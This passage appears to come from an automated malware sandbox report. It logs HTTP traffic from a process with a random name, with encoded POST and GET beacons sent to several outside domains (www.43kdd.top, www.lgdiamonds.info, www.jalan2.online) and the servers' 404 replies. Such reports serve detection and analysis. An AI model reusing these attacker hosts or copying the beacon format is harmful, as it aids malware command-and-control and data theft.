                                                                                    Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    6192.168.2.114993338.47.232.202802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:22:50.718506098 CET742OUTPOST /bsyy/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 221
                                                                                    Host: www.43kdd.top
                                                                                    Origin: http://www.43kdd.top
                                                                                    Referer: http://www.43kdd.top/bsyy/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 39 2f 2b 4d 78 65 50 75 42 70 32 68 4f 46 45 34 2f 32 69 4a 4a 71 51 4f 63 4f 74 6b 34 6b 78 2f 6f 48 58 45 45 72 6f 4e 4d 33 6c 38 65 75 38 52 32 38 75 6f 4c 4b 70 43 68 2f 70 6e 4b 6e 54 72 79 41 44 63 4d 76 31 65 57 48 59 34 6a 66 74 73 6e 6c 37 6a 68 79 61 66 38 6c 37 52 68 36 39 6e 2b 57 7a 5a 35 76 57 31 30 6d 61 72 65 34 52 6d 56 46 34 4b 49 67 68 74 32 57 67 7a 6d 44 78 54 45 52 30 44 55 58 43 57 4f 4b 77 4d 2f 37 72 63 31 79 4f 46 74 66 2f 67 38 59 59 2f 68 73 6f 41 47 44 69 51 30 4f 36 42 73 32 31 74 77 74 32 47 76 78 47 33 76 57 4b 6a 77 7a 69 74 51 32 73 44 37 72 6a 49 70 67 66 6a 51 54 74 69 39 30 47 43 55 78 33 64 31 49 73 3d
                                                                                    Data Ascii: dTb4=9/+MxePuBp2hOFE4/2iJJqQOcOtk4kx/oHXEEroNM3l8eu8R28uoLKpCh/pnKnTryADcMv1eWHY4jftsnl7jhyaf8l7Rh69n+WzZ5vW10mare4RmVF4KIght2WgzmDxTER0DUXCWOKwM/7rc1yOFtf/g8YY/hsoAGDiQ0O6Bs21twt2GvxG3vWKjwzitQ2sD7rjIpgfjQTti90GCUx3d1Is=
                                                                                    Dec 5, 2024 18:22:52.236501932 CET312INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:22:51 GMT
                                                                                    Content-Type: text/html
                                                                                    Content-Length: 148
                                                                                    Connection: close
                                                                                    ETag: "66df9b06-94"
                                                                                    Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    7192.168.2.114994038.47.232.202802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:22:53.378994942 CET1755OUTPOST /bsyy/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 1233
                                                                                    Host: www.43kdd.top
                                                                                    Origin: http://www.43kdd.top
                                                                                    Referer: http://www.43kdd.top/bsyy/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 39 2f 2b 4d 78 65 50 75 42 70 32 68 4f 46 45 34 2f 32 69 4a 4a 71 51 4f 63 4f 74 6b 34 6b 78 2f 6f 48 58 45 45 72 6f 4e 4d 33 74 38 64 64 6b 52 30 66 47 6f 4b 4b 70 43 6f 66 70 63 4b 6e 53 37 79 44 7a 59 4d 76 70 6f 57 42 63 34 69 35 35 73 72 45 37 6a 72 79 61 66 78 46 37 53 38 71 38 6a 2b 58 66 64 35 76 47 31 30 6d 61 72 65 36 5a 6d 57 55 34 4b 62 77 68 71 7a 57 67 33 69 44 78 33 45 52 38 31 55 58 48 6a 4e 35 34 4d 2f 61 62 63 33 67 6d 46 68 66 2f 2b 39 59 59 6e 68 73 73 50 47 44 2b 79 30 50 4f 72 73 31 56 74 78 38 50 35 7a 43 79 68 30 33 61 69 67 44 6d 71 53 32 67 2b 30 73 58 6b 35 56 48 49 43 6e 4e 38 68 45 50 76 42 30 65 65 73 34 4e 58 4c 73 63 7a 2b 79 4a 56 46 42 77 2b 45 7a 39 42 69 44 39 38 36 44 2f 4d 39 4c 7a 70 47 66 6e 47 33 33 55 4b 5a 6e 7a 64 43 71 6a 4c 74 6c 54 41 68 38 63 2f 73 51 79 7a 55 76 62 57 66 41 6d 62 41 62 68 31 56 56 51 35 4d 58 69 59 61 72 42 73 63 63 77 74 71 48 4c 42 6e 37 68 33 31 47 2b 61 61 36 52 37 78 73 68 4b 57 58 53 47 4c 45 52 59 58 61 78 43 36 [TRUNCATED]
                                                                                    Data Ascii: dTb4=9/+MxePuBp2hOFE4/2iJJqQOcOtk4kx/oHXEEroNM3t8ddkR0fGoKKpCofpcKnS7yDzYMvpoWBc4i55srE7jryafxF7S8q8j+Xfd5vG10mare6ZmWU4KbwhqzWg3iDx3ER81UXHjN54M/abc3gmFhf/+9YYnhssPGD+y0POrs1Vtx8P5zCyh03aigDmqS2g+0sXk5VHICnN8hEPvB0ees4NXLscz+yJVFBw+Ez9BiD986D/M9LzpGfnG33UKZnzdCqjLtlTAh8c/sQyzUvbWfAmbAbh1VVQ5MXiYarBsccwtqHLBn7h31G+aa6R7xshKWXSGLERYXaxC6vXwU86NN96RSko7nRrun9iQc2RLRSQmR6I5iHSGXCrZ3B2xFqkdf7/6WbcLrlkcAh4OR8keTDrqQfacfMPs5f2bZFWfZdIAgCqunQMIM/eTX4cbhnPt1MZqSmKkjPiEva/nrDkF2xG5sCUTUPOQzrjPte/CKPqBAReY81h4BeOmqmxLqs6lra99CQ6l6ZAAp6BWq2NXezrrFTBI09Cwbn0CqkYIcVf43eVyn02eh/KZwe7NQcDRayiJ+L8qZEyN06YhYZvIj+1UsuiBCyV0SRipPwUz3Va8pIUq12GYZ1AKCslf6d6vSpkKOZ5/nLaIcl1gejlaKYLoMg9P3vHgEaVPZcEA0UOBJkUPtJ8UP3tFGLYQIpIuKPjL7sYnA7gaJThSphZP5fwQ137BKISqEG/AQH+5jppsJzLlI/5bdXo/NrYdxpiMViB0luC/lMRRBcm0OVjucReGQ1nrimAPMYqfHTSDG5aC5OlOC5qSbjh1gqt44cDKQ27tQnsynvEmiF6aY/L3zMKn51HGDBCctT8r/+Qen14kWb3GrH7OcfpifRWehMFLYiRGQb7aZ0y0WNeOF+BU5PUx0861G+wc9ccxN4iI6KISa32H0YHdIhP7yD9DMOiS0oJZyAdcuLvss7ZNrVHD3+YaGoIc9ZdHs0Zmsvbi9rO2b3X [TRUNCATED]


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    8192.168.2.114994738.47.232.202802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:22:56.150475979 CET462OUTGET /bsyy/?mZwPH=xrgxJbs&dTb4=w9Wsyrfddra1GxcU+lvvJ4oQD8tz6DR/pSTnVJEXbHEmdfQx+6bPNdVPoslsCSigyUnMPNoyb3wBtIJwqnPVmQLOx1eC+oZSyzXb4OCTu1fvSZ9dZj0JPy4= HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.43kdd.top
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Dec 5, 2024 18:22:57.673592091 CET312INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:22:57 GMT
                                                                                    Content-Type: text/html
                                                                                    Content-Length: 148
                                                                                    Connection: close
                                                                                    ETag: "66df9b06-94"
                                                                                    Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    9192.168.2.1149965130.185.109.77802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:03.643342018 CET740OUTPOST /cv1w/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 201
                                                                                    Host: www.lgdiamonds.info
                                                                                    Origin: http://www.lgdiamonds.info
                                                                                    Referer: http://www.lgdiamonds.info/cv1w/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 48 4b 35 36 44 30 5a 68 2f 66 2b 48 6d 6b 4f 63 6a 50 53 2b 4c 4f 52 48 72 49 30 6c 6a 6d 4a 64 61 59 49 53 6d 31 7a 59 34 56 35 67 30 56 44 69 71 55 67 53 66 34 75 76 4b 35 68 57 5a 70 65 39 6f 66 47 78 58 50 6f 44 69 34 43 49 70 70 4c 78 68 7a 62 4b 6c 42 72 78 58 72 75 39 57 54 76 64 33 65 36 64 45 55 62 47 2b 51 6e 2f 76 69 39 61 50 53 77 44 69 41 52 6a 6a 2b 78 76 77 75 48 4f 53 4f 66 39 37 66 59 77 43 4e 44 77 76 6a 2f 53 79 58 46 6c 2b 2b 6b 34 34 75 4f 59 5a 35 44 6c 43 39 6e 64 64 59 4b 77 6c 34 2b 31 6d 79 42 76 69 37 42 6c 79 61 46 53 50 50 4b 32 34 4f 2b 30 79 41 3d 3d
                                                                                    Data Ascii: dTb4=HK56D0Zh/f+HmkOcjPS+LORHrI0ljmJdaYISm1zY4V5g0VDiqUgSf4uvK5hWZpe9ofGxXPoDi4CIppLxhzbKlBrxXru9WTvd3e6dEUbG+Qn/vi9aPSwDiARjj+xvwuHOSOf97fYwCNDwvj/SyXFl++k44uOYZ5DlC9nddYKwl4+1myBvi7BlyaFSPPK24O+0yA==
                                                                                    Dec 5, 2024 18:23:04.736520052 CET322INHTTP/1.1 404 Not Found
                                                                                    Server: nginx/1.6.2
                                                                                    Date: Thu, 05 Dec 2024 17:23:04 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Content-Encoding: gzip
                                                                                    Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                    Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    10192.168.2.1149972130.185.109.77802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:06.316293955 CET760OUTPOST /cv1w/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 221
                                                                                    Host: www.lgdiamonds.info
                                                                                    Origin: http://www.lgdiamonds.info
                                                                                    Referer: http://www.lgdiamonds.info/cv1w/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 48 4b 35 36 44 30 5a 68 2f 66 2b 48 6b 45 2b 63 6c 75 53 2b 63 65 52 47 6c 6f 30 6c 34 57 4a 5a 61 59 55 53 6d 78 71 41 35 6e 74 67 30 30 7a 69 72 51 4d 53 63 34 75 76 43 5a 67 39 58 4a 66 2f 6f 66 36 35 58 4b 51 44 69 38 71 49 70 72 44 78 68 43 62 4e 6a 52 72 7a 61 4c 76 62 53 54 76 64 33 65 36 64 45 55 50 34 2b 51 2f 2f 75 53 4e 61 50 7a 77 41 2b 51 52 73 72 65 78 76 36 2b 48 4b 53 4f 65 48 37 62 59 4b 43 50 37 77 76 69 50 53 78 43 78 6d 30 2b 6b 2b 79 4f 50 75 52 5a 57 54 4a 36 79 78 64 61 79 45 72 62 2b 4f 6a 30 4d 31 79 59 49 79 78 4a 4e 51 62 70 72 47 78 2f 62 39 70 45 2f 37 61 4e 5a 63 76 38 34 70 34 43 51 6b 6f 57 5a 67 66 76 77 3d
                                                                                    Data Ascii: dTb4=HK56D0Zh/f+HkE+cluS+ceRGlo0l4WJZaYUSmxqA5ntg00zirQMSc4uvCZg9XJf/of65XKQDi8qIprDxhCbNjRrzaLvbSTvd3e6dEUP4+Q//uSNaPzwA+QRsrexv6+HKSOeH7bYKCP7wviPSxCxm0+k+yOPuRZWTJ6yxdayErb+Oj0M1yYIyxJNQbprGx/b9pE/7aNZcv84p4CQkoWZgfvw=
                                                                                    Dec 5, 2024 18:23:07.565732002 CET322INHTTP/1.1 404 Not Found
                                                                                    Server: nginx/1.6.2
                                                                                    Date: Thu, 05 Dec 2024 17:23:07 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Content-Encoding: gzip
                                                                                    Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                    Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    11192.168.2.1149979130.185.109.77802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:08.987656116 CET1773OUTPOST /cv1w/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 1233
                                                                                    Host: www.lgdiamonds.info
                                                                                    Origin: http://www.lgdiamonds.info
                                                                                    Referer: http://www.lgdiamonds.info/cv1w/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 48 4b 35 36 44 30 5a 68 2f 66 2b 48 6b 45 2b 63 6c 75 53 2b 63 65 52 47 6c 6f 30 6c 34 57 4a 5a 61 59 55 53 6d 78 71 41 35 6d 56 67 30 6d 4c 69 71 78 4d 53 64 34 75 76 42 5a 68 61 58 4a 65 6e 6f 66 53 39 58 4b 56 34 69 2b 69 49 6d 75 58 78 6f 51 7a 4e 74 52 72 7a 54 72 76 50 57 54 76 49 33 65 71 5a 45 55 66 34 2b 51 2f 2f 75 52 56 61 59 79 77 41 74 67 52 6a 6a 2b 78 64 77 75 48 69 53 4b 7a 6c 37 62 4d 67 43 38 7a 77 75 43 66 53 69 41 70 6d 32 65 6b 38 78 4f 50 6d 52 5a 4b 41 4a 2b 53 4c 64 66 6d 2b 72 63 4b 4f 68 43 70 57 6f 6f 64 75 6d 71 68 6a 4f 2f 6e 46 34 2f 54 71 77 46 7a 50 52 74 74 77 7a 35 41 37 77 68 31 76 39 7a 46 5a 44 34 43 78 77 2b 49 6c 65 62 2f 43 73 30 6a 74 70 49 38 77 44 30 71 68 4e 39 55 36 4e 71 53 43 35 58 59 51 67 56 4b 4c 78 33 30 39 48 39 45 42 73 36 35 43 75 50 64 35 56 63 50 47 2b 33 6a 35 64 2b 4f 44 6f 6f 50 6e 6e 54 4a 2f 4e 48 6f 76 59 62 72 76 77 51 2f 6f 45 77 6e 63 2b 70 69 44 77 44 79 52 72 37 50 54 38 49 76 38 6c 48 74 4d 45 37 33 61 7a 30 64 48 64 [TRUNCATED]
                                                                                    Data Ascii: dTb4=HK56D0Zh/f+HkE+cluS+ceRGlo0l4WJZaYUSmxqA5mVg0mLiqxMSd4uvBZhaXJenofS9XKV4i+iImuXxoQzNtRrzTrvPWTvI3eqZEUf4+Q//uRVaYywAtgRjj+xdwuHiSKzl7bMgC8zwuCfSiApm2ek8xOPmRZKAJ+SLdfm+rcKOhCpWoodumqhjO/nF4/TqwFzPRttwz5A7wh1v9zFZD4Cxw+Ileb/Cs0jtpI8wD0qhN9U6NqSC5XYQgVKLx309H9EBs65CuPd5VcPG+3j5d+ODooPnnTJ/NHovYbrvwQ/oEwnc+piDwDyRr7PT8Iv8lHtME73az0dHd4jSqzBCY97DTkEegrHdCL7Urmg6intO6HddWawGUPSNyTbhixMjMHK5mP4Gbdwk+QaNxiYncz4559McvCaoEeCdfJMDQlJYYnKE03f2nZKAV7GBmGlWLsCSJq2Yw7C9xlZUPOTr+WAvVNYJse35lMZ99E4OBEGoD3VyOE+SXHf2JxUnd7+j5rWqozl7nf7emKA3oAu8rWJ8CGJlG1TuIpD217efJPUrV5N59wi0kIegffiee/JKgpQPsT7PWjDJBwAdGM/qcWcSrwvddr+jJfX555weyCjTS5uPYQyCD+JpoGQyYUG7qarP7HwasLUe5vioZqBq5Z+DJfmWB54uSkrkIBSNL50p4YC1+exVR7fs9ZrV89d25JVepfcB87kSYwSA7Rttv7uuwUwk4dHPC6jQ3WqwfJD5WptInSUl27sgVACAKQ7CF8KcS1dmWUIK6+M4kraxlrcoMEIP7GP72gUL9wBrTx+qmv0yrG225+5wqKslNZCrRujeIT+2PrI+LVl5Cn1V2jbyv9twl8bzBQBoYQWZXEa9OpKYDDM9TXBM2uGlx/H+TGjTDgvrzkCws9jskrOlYN1UggZsfV8tdU3mxPS1Tx/A30mB/9x0utD79IU9CChK+zbtYGnuJJccw2IuIyOZaUIYONxuhk9vvt5GFJ3ELBSLaPy [TRUNCATED]
                                                                                    Dec 5, 2024 18:23:10.229429007 CET322INHTTP/1.1 404 Not Found
                                                                                    Server: nginx/1.6.2
                                                                                    Date: Thu, 05 Dec 2024 17:23:10 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Content-Encoding: gzip
                                                                                    Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                    Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    12192.168.2.1149986130.185.109.77802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:11.635452986 CET468OUTGET /cv1w/?dTb4=KIRaABhBgujzn3KWmND9cpAT+69hyUlHf/kT3kOA8kciiH38vV9KVMyDNvMwVI643JmGXckFkIiptpvhjjDenyf/VaqFdBH2zeyTKHH5ggy7thA9ElsxqlA=&mZwPH=xrgxJbs HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.lgdiamonds.info
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Dec 5, 2024 18:23:12.893963099 CET317INHTTP/1.1 404 Not Found
                                                                                    Server: nginx/1.6.2
                                                                                    Date: Thu, 05 Dec 2024 17:23:12 GMT
                                                                                    Content-Type: text/html
                                                                                    Content-Length: 168
                                                                                    Connection: close
                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.6.2</center></body></html>


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    13192.168.2.1149987108.181.189.7802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:18.374206066 CET734OUTPOST /lvda/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 201
                                                                                    Host: www.jalan2.online
                                                                                    Origin: http://www.jalan2.online
                                                                                    Referer: http://www.jalan2.online/lvda/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 4a 4a 72 79 55 68 4f 30 67 6d 71 6c 6e 2b 68 5a 78 4d 6a 2f 6c 42 38 48 6f 43 31 38 70 74 67 32 6d 61 52 6c 41 58 32 62 65 64 66 72 79 7a 4f 34 4d 67 7a 6c 6f 6b 58 47 2f 72 48 7a 6c 36 6f 53 32 50 78 77 77 54 39 73 66 51 4f 4d 44 66 54 4e 45 4b 75 72 70 4c 42 2f 42 73 45 31 58 48 58 6d 6f 2b 33 41 6e 54 68 44 41 75 59 6e 44 35 74 2b 31 41 72 72 59 52 6b 57 36 30 77 6b 41 44 62 72 52 55 46 66 4f 63 69 79 39 48 4c 77 35 59 52 62 6d 49 6d 5a 76 33 37 63 6e 39 52 76 6c 4a 68 6a 73 48 70 4c 47 30 7a 4e 55 61 38 34 42 74 54 34 66 53 78 79 2b 6a 55 69 36 61 6d 37 42 6d 6d 61 42 67 3d 3d
                                                                                    Data Ascii: dTb4=JJryUhO0gmqln+hZxMj/lB8HoC18ptg2maRlAX2bedfryzO4MgzlokXG/rHzl6oS2PxwwT9sfQOMDfTNEKurpLB/BsE1XHXmo+3AnThDAuYnD5t+1ArrYRkW60wkADbrRUFfOciy9HLw5YRbmImZv37cn9RvlJhjsHpLG0zNUa84BtT4fSxy+jUi6am7BmmaBg==
                                                                                    Dec 5, 2024 18:23:19.787492990 CET279INHTTP/1.1 404 Not Found
                                                                                    content-type: text/html
                                                                                    cache-control: private, no-cache, max-age=0
                                                                                    pragma: no-cache
                                                                                    date: Thu, 05 Dec 2024 17:23:19 GMT
                                                                                    server: LiteSpeed
                                                                                    content-encoding: gzip
                                                                                    vary: Accept-Encoding
                                                                                    transfer-encoding: chunked
                                                                                    connection: close
                                                                                    Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a
                                                                                    Data Ascii: a
